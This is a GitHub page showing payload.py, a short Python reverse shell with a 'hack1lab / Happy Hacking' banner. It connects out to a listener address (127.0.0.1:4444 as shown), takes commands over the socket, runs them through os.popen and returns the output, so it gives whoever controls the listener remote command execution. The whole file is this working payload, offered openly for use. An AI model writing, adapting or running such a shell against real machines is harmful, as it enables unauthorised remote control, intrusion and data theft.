-
Notifications
You must be signed in to change notification settings - Fork 73
/
Copy pathpayload.py
55 lines (49 loc) · 1.35 KB
/
payload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
"""
*--------------------------------------*
| programmed by : mohamed |
| fb.me/hack1lab |
*--------------------------------------*
_ _ _ _
| |__ __ _ ___| | _| | __ _| |__
| '_ \ / _` |/ __| |/ / |/ _` | '_ \
| | | | (_| | (__| <| | (_| | |_) |
|_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
Happy Hacking
----------------
"""
import socket
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.setblocking(1)
ip = "127.0.0.1"
port = 4444
s.connect((ip,port))
s.send(b'Happy Hacking ^_^\n')
while True:
try:
command = s.recv(1024).decode('utf-8')
command = str(command)
if "cd" in command:
command = command.replace("\n","")
command = os.chdir(command.split('cd ')[1])
com = os.popen("ls")
result = str(com.read()).encode('utf-8')
s.send(result)
else:
treating = os.popen(command)
results = str(treating.read())
results = results.encode('utf-8')
s.send(results)
except socket.error:
exit(0)
except OSError:
s.send(b'file not found!\n')
except IndexError:
s.send(b'try again!\n')
except UnicodeEncodeError:
send(b'problem in coding\n')
except KeyboardInterrupt:
s.send(b'connection closed !!\n')
exit(0)